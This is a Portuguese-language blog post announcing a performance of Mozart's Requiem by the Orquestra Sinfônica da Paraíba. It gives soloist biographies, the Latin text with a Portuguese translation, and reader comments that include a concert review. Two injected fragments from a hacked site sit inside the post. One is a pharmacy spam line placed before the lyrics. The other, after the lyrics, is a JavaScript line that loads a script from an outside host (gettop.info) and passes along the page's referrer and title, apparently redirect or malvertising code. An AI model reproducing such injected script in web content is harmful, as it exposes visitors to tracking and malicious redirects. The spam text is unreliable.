LateralMúsica coralMúsica sinfônicaParaíbaProgramação

“Requiem”, de Mozart, em João Pessoa

Orquestra Sinfônica da Paraíba e Coro de Câmara Villa-Lobos apresentam esta magnífica obra nas Quintas Musicais.

SERVIÇO

 

Cine Banguê – Espaço Cultural
João Pessoa – PB

Dia 22 de setembro, às 21h.

Entrada franca

 

O concerto será regido pelo maestro convidado Carlos Anísio, atual maestro da Orquestra de Câmara de João Pessoa. Além do brilhante e já reconhecido Coro de Câmara Villa-Lobos, haverá a participação das novas vozes dos jovens solistas: a soprano Izadora França e o contratenor Kleiton D’Araújo, paraibanos que vêm conquistando o espaço e reconhecimento na música erudita nacional, ao vencerem importantes concursos de canto e participarem de diversos Festivais Internacionais de Música no Brasil. Também a participação do reconhecido Tenor e Professor de canto e regência da UFCG Vladimir Silva e do baixo Pedro Paulo Queiroz, solista e integrante do Coro de Câmara Villa-Lobos. Além dos cantores haverá o solo do trombonista da OSPB e professor da UFPB, Sandoval Moreno, e a participação especial do ator Luiz Carlos Vasconcelos narrando a tradução em português do texto em latim que compõe o Requiem.

O  Réquiem em Ré menor (K 626) é uma missa fúnebre, composta em 1791, sua última composição e talvez uma de suas melhores e mais famosas obras, não apenas pela música em si, mas também pelos debates em torno de até qual parte da obra foi preparada por Mozart antes de sua morte. Teria sido posteriormente finalizada por seu amigo e discípulo Franz Xaver Süssmayr.

Levantamentos históricos salientam que em Março de 1791, Mozart rege em Viena um de seus últimos concertos públicos, tocando o Concerto para piano n.º 27 (KV 595). Seu último filho, nasceu em 26 de julho. Poucos dias antes, bateu à sua porta um desconhecido, que se recusou a identificar-se e deixou Mozart encarregado da composição de um Requiem. Deu-lhe um adiantamento e avisou que retornaria em um mês. Mas pouco tempo depois, o compositor é chamado de Praga para escrever a ópera A clemência de Tito, para festejar a coroação de Leopoldo II.

Quando subia com sua esposa Konstanze na carruagem que os levaria a esta cidade, o desconhecido teria se apresentado outra vez, perguntado por sua encomenda.

Posteriormente se supôs que aquele sombrio personagem era um enviado do conde Walsegg-Stuppach, cuja esposa havia falecido. O viúvo desejava que Mozart compusesse a missa de requiem para os ritos fúnebres no enterro de sua esposa, mas faria crer – como diz-se que já fizera antes – aos presentes que fora ele quem compôs a obra (por isso o anonimato).

Diz-se que Mozart, obsessivo com idéias de morte desde o falecimento de seu pai, debilitado pela fadiga e pela enfermidade que o atingia, muito sensível ao sobrenatural devido às suas vinculações com a franco-maçonaria  e impressionado pelo aspecto misterioso do homem que encomendou a missa, terminou por acreditar que este era um mensageiro do destino e que o requiem que iria compor seria para seu próprio funeral.

Mozart, ao morrer, conseguiu terminar apenas três seções com o coro e composição completa: “Introito”, “Kyrie” e “Dies irae”.  Da “Sequentia” deixou os trechos instrumentais, o coro, vozes solistas e o cifrado do contrabaixo e órgão incompletos, deixando anotações. Também havia indicações para o Domine Jesu e Agnus Dei. Não havia deixado nada escrito para o Sanctus nem para o Communio. Seu discípulo Süssmayer completou as partes em falta da composição, agregou música onde faltava e compôs completamente o Sanctus. Para o Communio, simplesmente utilizou os temas do Intrito e do Kyrie, à maneira de uma re-exposição, para dar sentido integral à obra.

Uma das principais influências para a obra é o réquiem de Muchael Haydn.

A obra teve sua estréia em Viena, a 2 de janeiro de 1793,  em um concerto em benefício da viúva de Mozart, Konstanze Weber.

 

A vida musical do Estado da Paraíba é diversificada e reconhecida internacionalmente pelas diversas manifestações e estilos que daqui ganham o mundo. Assim é com a música erudita. O Estado que já tem a tradição de exportar grandes instrumentistas da música erudita para as maiores orquestra do mundo, agora ganha os jovens cantores no mercado da música vocal erudita no Brasil. Os paraibanos Kleiton D’Araújo(contratenor/sopranista) e Izadora França (soprano), nascidos na cidade de João Pessoa, concluintes do curso de licenciatura em música pela UFPB vêm, a cada ano, conquistando espaço no cenário lírico no Brasil e recebendo diversos convites para festivais e concursos de música erudita.

 

Kleiton d'Araújo

KleitonD’Araújo é um jovem contratenor/sopranista (voz rara de se encontrar sendo um dos seis contratenores atuantes no Brasil na técnica que o homem passa a cantar na tessitura da voz feminina), vencedor de diversos concursos de canto a exemplo dos: Jovens Solistas do Festival Internacional de Música Eleazar de Carvalho 2007 realizado em Fortaleza/CE, como também do Concurso Vencedor dos Vencedores realizado pela Fundação Eleazar de Carvalho em São Paulo/SP 2007, Maracanto 2007 e MIMO 2007 e 2010.

Único artista da família iniciou os estudos de canto aos 16 anos na Escola de Música Antenor Navarro/PB e continuou no Conservatório Pernambucano de Música, sendo atualmente concluinte do curso de Licenciatura em Práticas Interpretativas do canto pela UFPB.

Desponta no cenário lírico com a obra Exsultate Jubilate de W. A. Mozart apresentado com a Orquestra Eleazar de Carvalho no Teatro José deAlencar em Fortaleza/CE, como também na turnê 2008/2009 nordeste da ópera Orfeo ed Euridice de C. W. Von Gluck, cantando o papel do protagonista Orfeo nas cidadede Maceió/AL, Areia/PB e João Pessoa/PB, com grande sucesso de público e de crítica.

Vem se aperfeiçoando com grandes nomes do canto lírico mundial: Valentin Gloor (Suiça), Rina Baffa Puig (Uruguai), Martha Herr (EUA), Marília Vargas (Brasil), Mitsuko Shirai (Alemanha) e JanetteDornella (Brasil), dentre outros.

 

Izadora França

Já a soprano Izadora França é estudante da música desde o nascimento. Filha da soprano e professora de canto Fátima França e o saudoso maestro e compositor Pedro Santos, Izadora tem uma voz poderosa e já participou de diversas produções junto a corais e orquestra. Além de cantora também é violinista da Orquestra de Câmara de João Pessoa, professora de Violino na Escola de Música Antenor Navarro e fundadora integrante do quarteto instrumental “QUARTA JUSTA”, grupo já tradicional em importantes eventos do Estado.

Vencedora do concurso Jovens Solistas da Orquestra Sinfônica da Paraíba e também da Orquestra de Câmara de João Pessoa, foi a única cantora paraibana a participar até hoje do mais importante festival de música da America Latina – Festival Internacional de Música de Campos do Jordão. Izadora fez sua estreia no cenário lírico cantando Euridice também na mesma produção da Ópera Orfeo Ed Euridice. Também já cantou com a Orquestra de Câmara de João Pessoa as Canções da obra “A Floresta Amazônica” de Villa-Lobos e com Orquestra Sinfônica da Paraíba a ária de Elektra da ópera “Idomeneo” de W. A. Mozart. Vem se aperfeiçoando também com grandes nomes do canto como: Barbara Zanichelli (Itália) e Elke Ridel (Brasil), dentre outros.

Ambos os cantores despontam no cenário com as particularidades vocais inerentes ao trabalho de aperfeiçoamento diário. A vida do cantor lírico é cheia de regras, exercícios e estudos, necessários para uma ascensão vocal perfeita. Atualmente, desenvolvem projetos de concertos para popularizar essa arte, aguardam parcerias com empresas e órgãos públicos (algo que ainda não é comum no Estado). Além disso, preparam-se para apresentações e aulas na Semana da Música da UFRN em Natal/RN, que acontece no mês de outubro deste ano, sendo os dois um dos poucos aprovados para ter aulas durante uma semana com a professora americana Marta Sheil da Universidade de Michigan/EUA.

 

PROGRAMA

W. A. Mozart
Missa de Requiem em ré menor – K 626

 

Solistas

– Izadora França – soprano
– Kleiton D’Araújo – contratenor
– Vladimir Silva – tenor
– Pedro Paulo Queiroz – baixo

– Sandoval Moreno – trombone
– Luiz Carlos Vasconcelos – narração

 

Abaixo, a letra do Requiem em latim, com tradução de Antônio Rodrigues, responsável pelo site www.movimento.com

 

canada welbutrin no prescription

TEXTO DO REQUIEM DE MOZART
1 – INTROITUS 1 – INTRÓITO
Requiem aeternam dona eis, Domine, Descanso eterno dá-lhes, Senhor,
et lux perpetua luceat eis. e a luz eterna os ilumine.
Te decet hymnus, Deus, in Sion A ti, Deus, cantam hinos em Sião
et tibi reddetur votum in Jerusalem: e a ti ofertam sacrifícios em Jerusalém:
exaudi orationem meam, ouve as minhas preces,
ad te omnis caro veniet. pois para ti vem toda a carne.
Requiem aeternam dona eis, Domine, Descanso eterno dá-lhes, Senhor,
et lux perpetua luceat eis. e a luz eterna os ilumine.
2 – KYRIE 2 – KYRIE
Kyrie eleison Senhor, tem piedade.
Christe eleison Cristo, tem piedade.
Kyrie eleison Senhor, tem piedade.
SEQUENTIA SEQUÊNCIA
3 – Dies irae 3 – Dia de ira
Dies irae, dies illa, Dia de ira, aquele dia,
solvet saeclum in favilla, em que o mundo virará cinzas,
teste David cum Sybilla. segundo David e a Sybila.
Quantus tremor est futurus, Grande será o temor,
quando judex est venturus, quando apareça o justo juiz,
cuncta stricte discussurus. pedindo contas do que foi feito.
4 – Tuba mirum 4 – Terrível trombeta
Tuba mirum spargens sonum Terrível trombeta espantará o sono,
per sepulchra regionum, na casa dos mortos,
coget omnes ante thronum. para chamá-los ante o trono.
Mors stupebit et natura, A morte se horrorizará com a natureza,
cum ressurget creatura, quando ressurgirem as criaturas,
judicanti responsura respondendo ao que julga.
Liber scriptus proferetur, Um livro escrito vai ser lido,
in quo totum continetur, que tudo contém
unde mundus iudicetur. e segundo o que seremos julgados.
Judex ergo cum sedebit, Quando o juiz se sentar,
quidquid latet apparebit, todo o escondido vai aparecer,
nil inultum remanebit. nada ficará sem julgamento.
Quid sum miser tunc dicturus? Que poderei responder, sendo um miserável?
Quem patronum rogaturus, A que patrono rogarei,
cum vix justus sit securus? se nem os justos estarão seguros?
5 – Rex tremendae 5 – Rei de tremenda majestade
Rex tremandae majestatis, Ó rei de tremenda majestade,
qui salvandos salvas gratis, que nos salvas por tua graça,
salva me, fons pietatis. salva-me, fonte de misericórdia.
6 –Recordare 6 – Recordar
Recordare, Jesu pie, Lembra-te, Jesus piedoso,
Quod sum causa tuae viae: que sou a causa de tua vida:
Ne me perdas illa die. não me percas naquele dia.
Querens me, sedisti lassus. Buscando-me, sentaste cansado.
Redemisti crucem passus: nos redimiste pela morte na cruz:
Tantus labor non sit cassus. que tanto esforço não seja em vão.
Juste judex ultionis, Justo juiz dos castigos,
Donum fac remissionis concede-me a redenção
Ante diem rationis. diante do dia da razão.
Ingemisco tanquam reus, Choramingo como um réu
Culpa rubet vultus meus: e a culpa me enrubesce:
Supplicanti parce, Deus. suplicante, Deus, peço perdão.
Qui Mariam absolvisti, Tu, que absolveste Maria,
Et latronem exaudisti, e ouviste o ladrão,
Mihi quoque spem dedisti. dá-me também esperança.
Preces meae non sunt dignae: Minhas preces não são dignas,
Sed tu bonus fac benigne, mas faça-as boas por tua bondade,
Ne perene cremer igne. não me atires ao fogo eterno.
Inter oves locum praesta, Coloca-me entre as ovelhas,
Et ab haedis me sequestra, e separa-me das cabras
Statuens in parte dextra. colocando-me à tua direita.
7 – Confutatis 7 – Confundidos
Confutatis maledictis Confundidos os malditos
Flammis acribus addictis: e atirados às chamas terríveis,
Voca me cum benedictis. acolhe-me entre os eleitos.
Oro supplex et acclinis, Peço suplicante e prostrado,
Cor contritum quasi cinis: coração contrito, quase cinzas:
Gere curam mei finis. cuida de mim ao final.
8 – Lacrimosa 8 – Cheios de lágrimas
Lacrimosa dies illa, Cheios de lágrimas aqueles dias,
Qua ressurget ex favilla em que ressurgirá das cinzas
Judicandus homo reus. o homem para ser julgado.
Huic ergo parce, Deus, Perdoa-lhes, Deus,
Pie Jesu Domine, piedoso Senhor Jesus,
Dona eis requiem. Amen. dá-lhes o descanso eterno. Amém.
OFFERTORIUM OFERTÓRIO
9 – Domine Jesu Christe 9 – Senhor Jesus Cristo
Domine Jesu Christe, rex gloriae, Senhor Jesus Cristo, rei da glória,
Libera animas omnium fidelium defunctorum livra as almas dos fiéis defuntos
De poenis inferni et de profundo lacu: das penas do inferno e do lago profundo:
Libera eas de ore leonis, livra-as da boca do leão,
Ne absorbeat eas tartarus que a escuridão não as absorva
Ne cadant in obscurum. e não caiam nas trevas.
Sed signifer sanctus Michael repraesentet eas Mas que o príncipe São Miguel as guie
In lucem sanctam: na santa luz:
Quam olim Abrahae promisisti como outrora prometeste a Abraão
Et semini ejus. e à sua descendência.
10 – Hostias 10 – Sacrifícios
Hostias et preces tibi, Domine, Sacrifícios e preces a ti, Senhor,
Laudis offerimus: oferecemos com louvor:
Tu suscipe pro animabus illis, recebe-as em favor daquelas almas,
Quarum hodie memoriam facimus: das quais nos lembramos hoje:
Fac eas, Domine, faz com que elas, Senhor,
De morte transire ad vitam. passem da morte para a vida.
Hosanna in excelsis. Hosana nas alturas.
11 – SANCTUS 11 – SANTO
Sanctus, sanctus, sanctus Santo, santo, santo,
Dominus Deus Sabaoth. Senhor Deus dos exércitos.
Pleni sunt coeli et terra gloria tua. Céus e terra estão cheios da tua glória.
Hosanna in excelsis. Hosana nas alturas.
12 – BENEDICTUS 12 – BENDITO
Benedictus qui venit in nomine Domini. Bendito o que vem em nome do Senhor.
Hosanna in excelsis. Hosana nas alturas.
13 – AGNUS DEI 13 – CORDEIRO DE DEUS
Agnus Dei, qui tollis peccata mundi: Cordeiro de Deus, que tiras os pecados do mundo:
Dona eis requiem. dá-lhes o descanso.
Agnus Dei, qui  tollis peccata mundi: Cordeiro de Deus, que tiras os pecados do mundo:
Dona eis requiem. dá-lhes o descanso.
Agnus Dei, qui tollis peccata mundi: Cordeiro de Deus, que tiras os pecados do mundo:
Dona eis requiem sempiternam. dá-lhes o descanso eterno.
14 – COMMUNIO 14 – COMUNHÃO
Lux aeterna luceat eis, Domine, Que a luz eterna os ilumine, Senhor,
Cum sanctis tuis in aeternum, quia pius es. com teus santos para sempre, pois és bom.
Requiem aeternam dona eis, Domine, Descanso eterno dá-lhes, Senhor,
Et lux perpetua luceat eis. e a luz eterna os ilumine.

 s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

5 Comments

  1. Gostaria de saber por que o curriculum dos outros solistas e do maestro não constam nesse post? Uma tremenda falta de ética e respeito com os outros profissionais!

  2. Cara Carmélia, normalmente, os releases são enviados pela produção do evento e, também normalmente, tudo que consta no release é transcrito para o nosso post. Assim foi desta vez.
    A produção enviou apenas isso. Ainda, registre-se que a letra e a tradução do Requiem foi um bônus de minha parte pessoal.

  3. Bem… como fui um dos solistas, sei que essa pergunta vem de outra pessoa. Por sinal, ele me indagou com as mesma palavras…
    Mas explicando… a organização não teve como ter acesso ao currículo do tenor Vladimir Silva e do Maestro Carlos Anísio a tempo, porque ambos estavam com outras ocupações… com o evento prestes a ser realizado, o próprio maestro aprovou o release e pediu para que enviassem para os meios comunicação. O mesmo salientou que não viu diferença em ter ou não o currículo completo dele, principalmente que com anos de experiência seria enorme essa matéria no site, haja vista o grande currículo de ambos, pois o tenor Vladimir Silva também é conhecido e reconhecido no Brasil em Festivais e masterclass ministrado por esse como um grande professor de canto e regência com larga experiência musical.
    Fiquei engrandecido com a humildade de ambos em valorizar aqueles que estão na conquista diária do espaço e reconhecimento do trabalho como é meu caso e da extraordinária soprano Izadora França. Obrigado ao site e ao Antônio pela postagem desse evento que a Paraíba abraçou, lotando a sala do Cine Bangüê do Espaço Cultural com pessoas sentadas até no chão, querendo assistir e se encantar com a grande obra mozartiana que esperavam há tanto tempo.

  4. PEÇO LICENÇA para postar essa crítica que saiu num blog bem acessado aqui na PB, do músico e mestrando Célio Leonal a respeito do Requiem.

    O Requiem de Mozart surpreendeu o público pessoense na noite deste quinta feira.

    Ontem, quinta feira, 21:00 Hs, a Orquestra Sinfônica da Paraíba realizou mais um concerto, aqueles das quintas musicais, tão comum que uma divulgação não faria falta, visto o assíduo público que frequenta o projeto. Uma programação diversificada, onde se cruzavam compositores brasileiros, alemães e austríacos. Na primeira parte do concerto a Abertura Festival Acadêmico, Op. 80 de Brahms, seguida do Concertino para Trombone e Orquestra do Paraíbano José Siqueira, com o Professor Sandorval Moreno como solista.
    A primeira parte sem surpresas. Sandorval, como sempre, dono de uma execução exemplar. Talvez a única observação tenha sido a presença do Maestro Carlos Anísio na direção da orquestra.
    Após José Siqueira o intervalo. A impressão que tive era que aquele concerto seria mais um. Não era. Luís Carlos Vasconcelos, ator paraibano, sem ser apresentado, começou uma chamada! Eram nomes de grande artistas, políticos e personalidades do mundo cultural paraibano, já falecidos. O público calou e escutou: Radegundis Feitosa, Sivuca, Burity, Paulo Pontes, Pedro Santos, etc… À medida que cada nome era pronunciado, um músico entrava em cena.
    O Requiem de Mozart, previsto para a segunda parte, começara antes mesmo das primeiras notas serem executadas. Quando o Maestro Carlos Anísio abaixa as mãos, a orquestra articula uma melodia dolente, dolorosa, que toma todo o teatro. Ali percebemos a perda, algo ou alguém acabara de nos deixar. Essa sensação, ao longo da obra, foi substituída por um sentimento de resignação. A fidelidade da orquestra à linguagem mozartiana, aliada a uma impecável performance dos solistas e do coro, aos poucos nos fez perceber que ali estávamos celebrando a continuidade, a eternidade. O clima fúnebre vai aos poucos despertando a esperança, o devir.
    Digna de nota é a atuação do Maestro. Firme, Carlos Anísio conduziu a orquestra, o Coro e os solistas de forma exemplar, arrancando desse conjunto uma sonoridade clássica, no entanto romântica e dramática. O Coro Villa-Lobos foi formidável. Alias, é sem dúvida um dos Coros mais importantes do Nordeste, cujo talento e experiência são marcas indeléveis.
    Quanto aos Solistas, permitam-me destacar a atuação da Soprano Izadora Franca e do Contratenor Kleiton D’Araújo, perfeitos, jovens com potencial extraordinário.
    O Requiem é a última composição do compositor austríaco Wolfgang Amadeus Mozart. Talvez sua obra mais profunda, mais introspectiva. Nela, Mozart sente todas suas dores e aflições, e parece prever o golpe certeiro da morte. Não terminou a obra em vida, o fim ficou a cargo de seu amigo e aluno Frans Xaver.
    Mitos rondam a motivação de Mozart em compor o Requiem. Uns dizem que foi uma encomenda de um misterioso homem, que jamais retornou. Outros que o compositor compôs o seu próprio Requiem. Mitos à parte, é uma grande página. Clássica mas romântica, contida, porém dramática, expressiva, onde todos os afetos humanos são mimetizados.
    Programações como essa precisam ser recorrentes. A Paraíba oficial precisa respeitar e se orgulhar dos seus artistas. Hoje eles provaram sua competência, a Paraíba real reconheceu. Precisamos sair dos debates puramente eleitoreiros e promover uma política cultural sem mácula, divisão e demagogia.

    Celio Leonel

    Agreste-politico.blogspot.com

Leave a Response

movimento.com
Responsável pela inclusão de programação e assuntos genéricos no blog.